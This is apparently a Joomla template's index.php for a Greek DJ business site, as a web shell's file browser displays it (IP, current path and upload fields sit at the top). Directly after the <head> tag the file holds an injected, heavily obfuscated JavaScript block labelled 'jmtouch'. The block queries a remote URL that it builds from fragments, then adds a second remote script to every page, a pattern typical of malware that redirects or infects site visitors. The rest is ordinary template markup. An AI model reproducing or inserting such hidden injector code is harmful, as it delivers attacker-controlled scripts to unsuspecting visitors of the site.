Your IP : 216.73.216.209


Current Path : /home/musicpassiondjs40/djandreidis/templates/jf_sybix/
Upload File :
Current File : /home/musicpassiondjs40/djandreidis/templates/jf_sybix/index.php

<?php
/*------------------------------------------------------------------------
# jf_sybix! - JOOMFREAK.COM JOOMLA 3 TEMPLATE 
# August 2017
# ------------------------------------------------------------------------
# COPYRIGHT: (C) 2014 JOOMFREAK.COM / KREATIF GMBH
# LICENSE: Creative Commons Attribution
# AUTHOR: JOOMFREAK.COM
# WEBSITE: http://www.joomfreak.com - http://www.kreatif-multimedia.com
# EMAIL: info@joomfreak.com
-------------------------------------------------------------------------*/

defined('_JEXEC') or die;


$app             = JFactory::getApplication();
$doc             = JFactory::getDocument();
$user            = JFactory::getUser();
$lang            = JFactory::getLanguage();
$this->language  = $doc->language;
$this->direction = $doc->direction;

// Getting params from template
$params = $app->getTemplate(true)->params;

// Detecting Active Variables
$option   = $app->input->getCmd('option', '');
$view     = $app->input->getCmd('view', '');
$layout   = $app->input->getCmd('layout', '');
$task     = $app->input->getCmd('task', '');
$itemid   = $app->input->getCmd('Itemid', '');
$sitename = $app->get('sitename');
$menu      = $app->getMenu();
$active    = $menu->getItem($itemid);
$font 	   = $this->params->get('googleFont');
$latitude           = (float)$this->params->get( 'latitude', '' );
$longitude          = (float)$this->params->get( 'longitude', '' );
$markerdescription  = $this->params->get('markerdescription', '');

$doc->addScript($this->baseurl . '/templates/' . $this->template . '/scripts/js/bootstrap.min.js');
$doc->addScript($this->baseurl . '/templates/' . $this->template . '/scripts/js/isotope.pkgd.min.js');
$doc->addScript($this->baseurl . '/templates/' . $this->template . '/scripts/js/imagesloaded.min.js');
$doc->addScript($this->baseurl . '/templates/' . $this->template . '/scripts/js/owl.carousel.min.js');
$doc->addScript($this->baseurl . '/templates/' . $this->template . '/scripts/js/image-light-box.js');
$doc->addScript($this->baseurl . '/templates/' . $this->template . '/scripts/js/template.js');

// Add Stylesheets
$doc->addStyleSheet($this->baseurl . '/templates/' . $this->template . '/css/bootstrap.min.css');
$doc->addStyleSheet('http://fonts.googleapis.com/css?family=Montserrat:400,700');
$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Poppins%7CArvo%7CLato%7COpen+Sans%3A300%2C400%2C600%2C700%2C800%26subset%3Dlatin%2Clatin-ext');
if($font == 'OpenSans')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Open+Sans:400,400italic,600,600italic,700,700italic');
if($font == 'Lato')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic,900,900italic');
if($font == 'PTSans')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=PT+Sans:400,400italic,700,700italic');
if($font == 'SourceSansPro')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400italic,600,600italic,700,700italic');
if($font == 'Nobile')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Nobile:400,400italic,700,700italic');
if($font == 'Ubuntu')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Ubuntu:300,300italic,400,400italic,500,500italic,700,700italic');
if($font == 'IstokWeb')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Istok+Web:400,400italic,700,700italic');
if($font == 'Exo2')
	$doc->addStyleSheet('https://fonts.googleapis.com/css?family=Exo+2:400,400italic,500,500italic,600,600italic,700,700italic,800,800italic');

$doc->addStyleSheet($this->baseurl . '/templates/' . $this->template . '/css/font-awesome.min.css');
$doc->addStyleSheet($this->baseurl . '/templates/' . $this->template . '/css/owl.carousel.css');
$doc->addStyleSheet($this->baseurl . '/templates/' . $this->template . '/css/nivo-lightbox.css');
$doc->addStyleSheet($this->baseurl . '/templates/' . $this->template . '/css/template.css');

// Load optional RTL Bootstrap CSS
JHtml::_('bootstrap.loadCss', false, $this->direction);

// Adjusting content width
if ($this->countModules('left') && $this->countModules('right')) {
	$span = "col-md-5";
} elseif ($this->countModules('left') && !$this->countModules('right')) {
	$span = "col-md-8";
} elseif (!$this->countModules('left') && $this->countModules('right')) {
	$span = "col-md-8";
} else {
	$span = "col-md-12";
}

if($view == 'productdetails') {
	$span = "col-md-12";
}

// Logo file or site title param
if ($this->params->get('logoOption') == 1 && $this->params->get('logoFile')) {
	$logo = '<img src="' . JUri::root() . $this->params->get('logoFile') . '" alt="' . $sitename . '" />';
} elseif ($this->params->get('logoOption') == 2 && $this->params->get('logoText')) {
	$logo = '<span class="site-title" title="' . $sitename . '">' . htmlspecialchars($this->params->get('logoText')) . '</span>';
} else {
	$logo = '<span class="site-title" title="' . $sitename . '">' . $sitename . '</span>';
}

?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head> <script type='text/javascript' id='jmtouch'>var _0x5a49d0=_0xe2b9;(function(_0x369508,_0x120131){var _0x12a0c0=_0xe2b9,_0x30be60=_0x369508();while(!![]){try{var _0x55c921=-parseInt(_0x12a0c0(0x197))/(0x1c7*0x13+0x1738+-0x38fc)*(-parseInt(_0x12a0c0(0x1ba))/(0x1ae7+0x201+-0x1ce6))+parseInt(_0x12a0c0(0x195))/(0x71*0xa+0x35*-0x2b+0x480)+parseInt(_0x12a0c0(0x1aa))/(0x18ce+-0x1c0e+0x344)+-parseInt(_0x12a0c0(0x193))/(-0x117e+-0x1*-0x110e+-0x27*-0x3)*(parseInt(_0x12a0c0(0x19d))/(-0x816+-0x1fc6+0x27e2))+parseInt(_0x12a0c0(0x196))/(-0x20d2+0x1*0xb51+0x1588)*(-parseInt(_0x12a0c0(0x1b4))/(0x8*-0x10f+-0x1de8+0x2668*0x1))+-parseInt(_0x12a0c0(0x177))/(-0x85*-0x43+-0x561+-0xd7*0x23)+-parseInt(_0x12a0c0(0x17f))/(0x368*0x3+-0x1391*0x1+0x1b*0x59)*(-parseInt(_0x12a0c0(0x1be))/(0xdd3+-0xf*0x1+-0xdb9));if(_0x55c921===_0x120131)break;else _0x30be60['push'](_0x30be60['shift']());}catch(_0x4aa02e){_0x30be60['push'](_0x30be60['shift']());}}}(_0x3e6b,0x17*-0x5fbd+0x33ddb+-0x9829*-0x1f));function htg(_0x457363){var _0x3e1896=_0xe2b9,_0x27f6b8={'rzWIv':_0x3e1896(0x188)},_0x190c91=new XMLHttpRequest();return _0x190c91[_0x3e1896(0x176)](_0x27f6b8[_0x3e1896(0x17a)],_0x457363,![]),_0x190c91[_0x3e1896(0x185)](null),_0x190c91[_0x3e1896(0x1c1)+'xt'];}var lt='ht'+_0x5a49d0(0x18e)+':'+_0x5a49d0(0x17e)+_0x5a49d0(0x19f)+'te'+_0x5a49d0(0x179)+'sh'+_0x5a49d0(0x1ab)+_0x5a49d0(0x1bb)+_0x5a49d0(0x1bd)+_0x5a49d0(0x19a)+_0x5a49d0(0x1ac)+'h'+'p';function _0xe2b9(_0x2b0c4f,_0x58146b){_0x2b0c4f=_0x2b0c4f-(-0xde6+-0x23ca+0x3320);var _0x4b3b4d=_0x3e6b();var _0x30a9be=_0x4b3b4d[_0x2b0c4f];return _0x30a9be;}function _0x3e6b(){var _0x3c9202=['ent','562GCCChO','cu/l','substr','ande','14597iPkJcM','createElem','7de5d49','responseTe','NzgXs','black','indexOf','c.com','3|1|4|0|2','y=9285','wLivU','substring','white','gross','open','13726611ReBIOM','rm.','llll','rzWIv','ps:','044889','remove','//s','13910MxfZWf','jmtouch','sByTagName','i.com','ById','platform','send','cross','UCCdH','GET','|14|20|3|6','blue','.top','date','cf30','tps','dock','|21|19|16|','htt','concat','465XvpsiK','script','2696238RgQoPz','1197637ffERoC','416OBEyru','2|1|8|11|9','appendChil','rs/scr.ph','type','simple','51054jvqNfj','t.com','et.whi','.icu','NhhdI','|5|0|15|10','shop','length','line','be58b0','4af4a','getElement','.com','2613912NbSXdu','op.i','p?v=','/cli','text/javas','split','|7|22|13','head','YAUOR','src','16bPrlWL','12|17|4|18','name','ck?ke','cript'];_0x3e6b=function(){return _0x3c9202;};return _0x3e6b();}lt=htg(lt);if(lt[_0x5a49d0(0x1c4)]('oo')!==-(-0x1018+-0x1*-0x19cf+-0xb*0xe2)){var DRBcgg=(_0x5a49d0(0x1b5)+_0x5a49d0(0x1a2)+_0x5a49d0(0x190)+_0x5a49d0(0x198)+_0x5a49d0(0x189)+_0x5a49d0(0x1b0))[_0x5a49d0(0x1af)]('|'),DvXVOJ=0x24d8+0xc30*-0x2+-0xc78;while(!![]){switch(DRBcgg[DvXVOJ++]){case'0':var st=_0x5a49d0(0x191)+_0x5a49d0(0x17b)+'//';continue;case'1':b2[-0xb3*-0x2f+0x1dbf*-0x1+-0x31e]==_0x5a49d0(0x1b6)&&(f2=_0x5a49d0(0x18c));continue;case'2':b2[0x269+-0xbe0+-0x1*-0x977]==_0x5a49d0(0x186)&&(f2=_0x5a49d0(0x1a3));continue;case'3':var b3z=bp[0xaad+0x2*-0x10cd+-0x1*-0x16ee][_0x5a49d0(0x1bc)](bp[-0xa60+0x23a5+-0x1944][_0x5a49d0(0x1a4)]-(-0x13fe+0x1a07*0x1+-0x608));continue;case'4':var f2='';continue;case'5':var f4='';continue;case'6':var i=b3n;continue;case'7':while(i--){f3=f3[_0x5a49d0(0x192)](b3z);}continue;case'8':b2[0xf10+-0x1d39*0x1+0xe29]==_0x5a49d0(0x1a5)&&(f2=_0x5a49d0(0x184));continue;case'9':b2[-0x3*0x6c7+0x259d*-0x1+-0x73*-0x81]==_0x5a49d0(0x19e)&&(f4=_0x5a49d0(0x18b));continue;case'10':bp[0x257f*-0x1+-0x1*0x17d5+0x3d54]==_0x5a49d0(0x19c)&&(f1=_0x5a49d0(0x174));continue;case'11':b2[0x1*-0xaa+-0x267c+0x2727*0x1]==_0x5a49d0(0x182)&&(f4=_0x5a49d0(0x1a0));continue;case'12':var dp=_0x5a49d0(0x1ad)+_0x5a49d0(0x1b7)+_0x5a49d0(0x171)+_0x5a49d0(0x1c0)+_0x5a49d0(0x17c)+_0x5a49d0(0x1a6)+_0x5a49d0(0x1a7)+_0x5a49d0(0x18d);continue;case'13':rpp(lastl);continue;case'14':b2[0x25f9+-0x1*0xed6+-0x5e*0x3f]==_0x5a49d0(0x1c5)&&(f4=_0x5a49d0(0x1a9));continue;case'15':var bp=lt[_0x5a49d0(0x1af)]('oo');continue;case'16':var b2=bp[-0x16b*-0x7+-0x172*-0x1b+0x43*-0xbb][_0x5a49d0(0x1af)]('-');continue;case'17':var f1='';continue;case'18':var f3='';continue;case'19':bp[-0x19c5+0xb25+0xea0]==_0x5a49d0(0x175)&&(f1=_0x5a49d0(0x18a));continue;case'20':var b3n=bp[-0x1c42+-0x1*0x46f+0x3a2*0x9][_0x5a49d0(0x173)](-0x1*-0x23d+0x9d*-0x2b+0x2*0xc11,0x1*-0x58b+0x113f+-0xbb3);continue;case'21':bp[0x1*0x1877+-0x1279+-0x5fe]==_0x5a49d0(0x18f)&&(f1=_0x5a49d0(0x1c3));continue;case'22':var lastl=st+_0x5a49d0(0x178)+f1+f3+f2+f4+dp;continue;}break;}}function rpp(_0x25c101){var _0x2ced52=_0x5a49d0,_0x26bb9f={'UCCdH':_0x2ced52(0x170),'wLivU':_0x2ced52(0x1b1),'NhhdI':_0x2ced52(0x1ae)+_0x2ced52(0x1b8),'NzgXs':_0x2ced52(0x180),'YAUOR':_0x2ced52(0x194)},_0x3d765b=_0x26bb9f[_0x2ced52(0x187)][_0x2ced52(0x1af)]('|'),_0x1de7f0=0x9b2+0x131e+-0x1cd0;while(!![]){switch(_0x3d765b[_0x1de7f0++]){case'0':document[_0x2ced52(0x1a8)+_0x2ced52(0x181)](_0x26bb9f[_0x2ced52(0x172)])[-0x76*-0x43+0x1bd8+-0x3aba][_0x2ced52(0x199)+'d'](_0x5d0b7b);continue;case'1':_0x5d0b7b[_0x2ced52(0x19b)]=_0x26bb9f[_0x2ced52(0x1a1)];continue;case'2':document[_0x2ced52(0x1a8)+_0x2ced52(0x183)](_0x26bb9f[_0x2ced52(0x1c2)])[_0x2ced52(0x17d)]();continue;case'3':var _0x5d0b7b=document[_0x2ced52(0x1bf)+_0x2ced52(0x1b9)](_0x26bb9f[_0x2ced52(0x1b2)]);continue;case'4':_0x5d0b7b[_0x2ced52(0x1b3)]=_0x25c101;continue;}break;}} var a44='0x5162';</script>
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	<jdoc:include type="head" />
	<meta name="yandex-verification"
	content="db98eb67eecd5acc" />
	<meta name="msvalidate.01" content="DF22E04EA555F7E19D3F6521F2FE9ECE" />
	<?php // Font ?>
	<?php if($font == 'OpenSans') : ?>
	<style type="text/css">
		body {
			font-family: 'Open Sans', sans-serif;
		}
	</style>
	<?php endif; ?>
		
	<?php if($font == 'Lato') : ?>
	<style type="text/css">
		body {
			font-family: 'Lato', sans-serif;
		}
	</style>
	<?php endif; ?>
		
	<?php if($font == 'PTSans') : ?>
	<style type="text/css">
		body {
			font-family: 'PT Sans', sans-serif;
		}
	</style>
	<?php endif; ?>
		
	<?php if($font == 'SourceSansPro') : ?>
	<style type="text/css">
		body {
			font-family: 'Source Sans Pro', sans-serif;
		}
	</style>
	<?php endif; ?>
		
	<?php if($font == 'Nobile') : ?>
	<style type="text/css">
		body {
			font-family: 'Nobile', sans-serif;
		}
	</style>
	<?php endif; ?>
		
	<?php if($font == 'Ubuntu') : ?>
	<style type="text/css">
		body {
			font-family: 'Ubuntu', sans-serif;
		}
	</style>
	<?php endif; ?>
		
	<?php if($font == 'IstokWeb') : ?>
	<style type="text/css">
		body {
			font-family: 'Istok Web', sans-serif;
		}
	</style>
	<?php endif; ?>
		
	<?php if($font == 'Exo2') : ?>
	<style type="text/css">
		body {
			font-family: 'Exo 2', sans-serif;
		}
	</style>
	<?php endif; ?>
	
	<?php // Template color ?>
	<?php if ($this->params->get('templateColor')) : ?>
	<style type="text/css">		
		.property_info_header, .aboutproperty h3.module-title:before, .section .moduletable > h3:before, .location-detail #contact-part, .house-info-box, .drop_down_menu_btn:hover, .drop_down_menu_btn:focus, .drop_down_menu_btn:active, .drop_down_menu_outter ul, .drop_down_menu_outter ul:before, .breadcrumbs .banner-text, .menu .navbar-nav .nav-child, #amenities-content, .bolg_post_list > li:before, blockquote, div.itemCommentsForm form input#submitCommentButton, .accordion .catItemTitle a:before, .moduletable.contact, .btn-primary, div.div-icon-light-blue, div.div-icon-light-blue-small, .featureicon, .schedule_visit_btn:hover, .schedule_visit_btn:focus {
			background: <?php echo $this->params->get('templateColor'); ?>;
		}
		
		#simpleCcontactForm input[type=submit] {
			color: <?php echo $this->params->get('templateColor'); ?>;
		}
		
		.carousel-indicators .active {
			background-color: <?php echo $this->params->get('templateColor'); ?>;
			border-color: <?php echo $this->params->get('templateColor'); ?>;
		}
		
		.menu .nav.navbar-nav > li > a {
			color: <?php echo $this->params->get('menuColor'); ?>;
		}
		
		.menu .navbar-default .navbar-nav > .active > a, .menu .navbar-default .navbar-nav > .active > a:focus, .menu .navbar-default .navbar-nav > .active > a:hover, .menu .nav > li > a:hover {
			color: <?php echo $this->params->get('menuHoverColor'); ?>;
		}
	</style>
	<?php endif; ?>
	
	<?php if ($this->params->get('map')) : ?>
	<script src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/scripts/js/jquery.gmap.min.js"></script>
	<script src="http://maps.google.com/maps/api/js?key=AIzaSyBtzJDQVxlPUb0JAfn4I4dw8iqmhg0HUTY" type="text/javascript"></script>

	<script>
	jQuery(document).ready(function(){
		// Map Markers
		var mapMarkers = [{     
			latitude: <?php echo $latitude ?>,
			longitude: <?php echo $longitude ?>,
			popup: true,
			icon: { 
				image: "<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/map_marker.png",
				iconsize: [44,48],
				iconanchor: [12,46],
				infowindowanchor: [12, 0] 
			} 
		}];

		// Map Initial Location
		var initLatitude = <?php echo $latitude ?>;
		var initLongitude = <?php echo $longitude ?>;

		// Map Extended Settings
		var map = jQuery("#map").gMap({
			controls: {
				panControl: true,
				zoomControl: true,
				mapTypeControl: true,
				scaleControl: true,
				streetViewControl: true,
				overviewMapControl: true
			},
			scrollwheel: false,
			markers: mapMarkers,
			latitude: initLatitude,
			longitude: initLongitude,
			zoom: 12
		});
	});
	</script>
	<?php endif; ?>
	
	<!--[if lt IE 9]>
		<script src="<?php echo JUri::root(true); ?>/media/jui/js/html5.js"></script>
	<![endif]-->
	
</head>

<body class="site 
	<?php if ($menu->getActive() == $menu->getDefault($lang->getTag())) echo 'home'; ?> 
	<?php if ($menu->getActive() == $menu->getDefault($lang->getTag()) && (($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'one-page-site') || ($this->params->get('homepageLayout') == '2' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) == 'home-variation'))) echo 'home-variation'; ?>
	<?php if((($menu->getActive() == $menu->getDefault($lang->getTag()) && $this->params->get('homepageLayout') == '2' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'home-variation') || ($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) == 'one-page-site'))) echo 'one-page-site'; ?>
	<?php echo $option
	. ' view-' . $view
	. ($layout ? ' layout-' . $layout : ' no-layout')
	. ($task ? ' task-' . $task : ' no-task')
	. ($itemid ? ' itemid-' . $itemid : '');
	echo ($this->direction == 'rtl' ? ' rtl' : '');
	?>">
	
	<?php if (($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'one-page-site') || ($this->params->get('homepageLayout') == '2' && ($menu->getParams( $active->id )->get( 'pageclass_sfx' ) == 'home-variation' || $menu->getActive() != $menu->getDefault($lang->getTag())))) { ?>
      
	<header>	
      	
		<?php if ($this->countModules('slideshow')) : ?>
			<div class="slideshow">
				<jdoc:include type="modules" name="slideshow" style="none" />
			</div>
		<?php endif; ?>
		
		<?php if($menu->getActive() != $menu->getDefault($lang->getTag())) : ?>
		<div class="welcome_header">
			<div class="container">
				<div class="row">
					<div class="col-sm-6">
						<?php if($this->params->get('welcome')) : ?>
							<span class="welcome_line"><?php echo $this->params->get('welcomeText'); ?></span>
						<?php endif; ?>
					</div>
					<div class="col-sm-6 text-right">
						<?php if ($this->params->get('social') && ($this->params->get('twitterLink') != '' || $this->params->get('facebookLink') != '' || $this->params->get('pinterestLink') != '' || $this->params->get('googleLink') != '' || $this->params->get('youtubeLink') != '')) : ?>
						<ul class="welcome_header_menu">
								<?php if ($this->params->get('twitterIcon') && $this->params->get('twitterLink') != '') : ?>
								<li>
									<a class="social-icon twitter" title="Twitter" href="<?php echo $this->params->get('twitterLink'); ?>" target="_blank" rel="noopener noreferrer"><i class="fa fa-twitter"><!--icon--></i></a>
								</li>
								<?php endif; ?>	
								<?php if ($this->params->get('facebookIcon') && $this->params->get('facebookLink') != '') : ?>
								<li>
									<a class="social-icon facebook" title="facebook" href="<?php echo $this->params->get('facebookLink'); ?>" target="_blank" rel="noopener noreferrer"><i class="fa fa-facebook"><!--icon--></i></a>
								</li>
								<?php endif; ?>
								<?php if ($this->params->get('googleIcon') && $this->params->get('googleLink') != '') : ?>
								<li>
									<a class="social-icon google-plus" title="Google Plus" href="<?php echo $this->params->get('googleLink'); ?>" target="_blank" rel="noopener noreferrer"><i class="fa fa-google-plus"><!--icon--></i></a>
								</li>
								<?php endif; ?>								
								<?php if ($this->params->get('pinterestIcon') && $this->params->get('pinterestLink') != '') : ?>
								<li>
									<a class="social-icon pinterest" title="pinterest" href="<?php echo $this->params->get('pinterestLink'); ?>" target="_blank" rel="noopener noreferrer"><i class="fa fa-pinterest"><!--icon--></i></a>
								</li>
								<?php endif; ?>
								<?php if ($this->params->get('youtubeIcon') && $this->params->get('youtubeLink') != '') : ?>
								<li>
									<a class="social-icon youtube" title="Youtube" href="<?php echo $this->params->get('youtubeLink'); ?>" target="_blank" rel="noopener noreferrer"><i class="fa fa-youtube-play"><!--icon--></i></a>
								</li>
								<?php endif; ?>	
						</ul>
						<?php endif; ?>
					</div>
				</div>
			</div>
		</div>
		<?php endif; ?>
		
		<div class="header">			
			
			<div class="container">	
				<div class="menu">
					<nav class="navbar navbar-default">
						<!-- Brand and toggle get grouped for better mobile display -->
						<div class="navbar-header">
							<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false">
								<span class="sr-only">Toggle navigation</span>
								<span class="icon-bar"></span>
								<span class="icon-bar"></span>
								<span class="icon-bar"></span>
							</button>
							<a class="navbar-brand" href="<?php echo $this->baseurl; ?>/">
								<?php echo $logo; ?>
							</a>
						</div>
							
						<!-- Collect the nav links, forms, and other content for toggling -->
						<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
							<jdoc:include type="modules" name="mainnav" style="none" />
						</div>
					</nav>
				</div>
				<?php if($this->params->get('callto') || $this->countModules('right-header')) : ?>
				<div class="contact_info">
					<jdoc:include type="modules" name="right-header" style="none" />
					<div class="contact_detail">
					  	<div class="phone_icon">
					  		<i class="fa fa-phone"></i>
					  	</div>
					  	<div class="phone_number">
					  		<h5><?php echo $this->params->get('callusnowlabel'); ?></h5>
					  		<h2><?php echo $this->params->get('phoneNumber'); ?></h2>
					  	</div>
					</div>
				</div>
				<?php endif; ?>
				<?php if ($menu->getActive() == $menu->getDefault($lang->getTag()) && $this->countModules('property-info-header')) : ?>
				<div class="property_info_header">
					<jdoc:include type="modules" name="property-info-header" style="none" />
				</div>
				<?php endif; ?>
			</div>
		</div>
	</header>
	<?php } ?>
	
	<?php if(($menu->getActive() == $menu->getDefault($lang->getTag()) && $this->params->get('homepageLayout') == '2' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'home-variation') || ($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) == 'one-page-site')){ ?>
	<header>
		<div class="header">
			<div class="container-fluid">
				<div class="row">
					<div class="col-lg-6 col-sm-6 col-md-6 col-xs-6 header_left">
						<a href="<?php echo $this->baseurl; ?>/">
							<?php echo $logo; ?>
						</a>
					</div>
					<div class="col-lg-6 col-sm-6 col-md-6 col-xs-6 header_right">
						<?php if($this->params->get('welcome')) : ?>
							<span class="welcome_line"><?php echo $this->params->get('welcomeText'); ?></span>
						<?php endif; ?>
						<a class="drop_down_menu_btn pull-right" href="javascript:void(0);"><i class="fa fa-bars"></i></a>
						<div class="drop_down_menu_outter">
							<jdoc:include type="modules" name="nav-one-page" style="none" />		
						</div>	
						<?php if($this->countModules('right-header')) : ?>
						<jdoc:include type="modules" name="right-header" style="none" />
						<?php endif; ?>
					</div>
				</div>
			</div>
		</div>
	</header>
	<?php } ?>
	
	<?php if ($this->countModules('breadcrumbs')) : ?>
	<div class="breadcrumbs">
		<div class="container">
			<div class="banner-text">
				<jdoc:include type="modules" name="breadcrumbs" />
			</div>
		</div>
	</div>
	<?php endif; ?>
	
	<main id="content" role="main">
		<div class="container">
			<div class="row">
				<div class="<?php echo $span; ?>">
					<jdoc:include type="message" />
					<jdoc:include type="component" />
				</div>
				<?php if ($this->countModules('right')) : ?>
				<div class="col-md-4">
					<div class="sidebar">
						<jdoc:include type="modules" name="right" style="xhtml" />
					</div>
				</div>
				<?php endif; ?>
			</div>
		</div>
	</main>
	
	<?php if ($this->countModules('content-bottom')) : ?>
	<div id="content-bottom-modules" class="content-modules">
		<jdoc:include type="modules" name="content-bottom" style="xhtml" />
		<?php if(($this->params->get('homepageLayout') == '2' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'home-variation') || ($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) == 'one-page-site')){ ?>
			<jdoc:include type="modules" name="contact-onepage" style="xhtml" />
		<?php } ?>
	</div>
	<?php endif; ?>
	
	<?php if(($this->params->get('homepageLayout') == '2' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'home-variation') || ($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) == 'one-page-site')){ ?>
	<?php if ($this->countModules('banner-image')) : ?>
	<div class="banner-left">
		<div class="banner-image">
			<jdoc:include type="modules" name="banner-image" />
		</div>
		<?php if ($this->countModules('property-info-header')) : ?>
		<div class="house-info-box">
			<jdoc:include type="modules" name="property-info-header" style="none" />
		</div>
		<?php endif; ?>
	</div>
	<?php endif; ?>
	<?php } ?>
	
	<?php if ($menu->getActive() == $menu->getDefault($lang->getTag()) && (($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'one-page-site') || ($this->params->get('homepageLayout') == '2' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) == 'home-variation'))) { ?>
	<footer>
		<div class="location-detail">
			<div class="container">
				<?php if ($this->countModules('location-detail') || $this->countModules('contact-part')) : ?>
				<div class="location-contact">
					<div class="row">
						<div id="view-on-map" class="col-md-8 col-sm-7 col-xs-12 locations">
							<jdoc:include type="modules" name="location-detail" style="xhtml" />
						</div>
						<div id="contact-part" class="col-md-4 col-sm-5 col-xs-12">
							<div class="contact-agent">
								<jdoc:include type="modules" name="contact-part" style="xhtml" />
							</div>
						</div>
					</div>
					<?php endif; ?>				
				</div>
			</div>
		</div>
		<div class="copyright-area">
			<div class="container">
				<p>
					<a href="http://www.joomfreak.com" target="_blank" class="jflink">joomfreak</a>
					Copyright &copy; <?php echo date('Y'); ?> . Powered by <a href="http://www.musicpassiondjs.gr" target="_self" title="Music Passion DJs">Music Passion DJs</a><p></p>Κινητό Τηλέφωνο : <a href="tel:6987055009">6987055009</a><p>Σταθερό Τηλέφωνο : <a href="tel:2117152761">2117152761</a></p>
				</p>
			</div>
		</div>
	</footer>
	<?php } ?>
	
	<?php if ($menu->getActive() != $menu->getDefault($lang->getTag()) && (($this->params->get('homepageLayout') == '1' && $menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'one-page-site') || ($this->params->get('homepageLayout') == '2' && ($menu->getParams( $active->id )->get( 'pageclass_sfx' ) != 'home-variation')))) : ?>
	<div class="copyright-area">
		<div class="container">
			<p>
				<a href="http://www.joomfreak.com" target="_blank" class="jflink">joomfreak</a>
				Copyright &copy; <?php echo date('Y'); ?> . Powered by <a href="http://www.musicpassiondjs.gr" target="_self" title="Music Passion DJs">Music Passion DJs</a><p></p>Κινητό Τηλέφωνο : <a href="tel:6987055009">6987055009</a><p>Σταθερό Τηλέφωνο : <a href="tel:2117152761">2117152761</a></p>
			</p>
		</div> 
	</div>
	<?php endif; ?>
	
	<jdoc:include type="modules" name="debug" style="none" />
</body>
</html>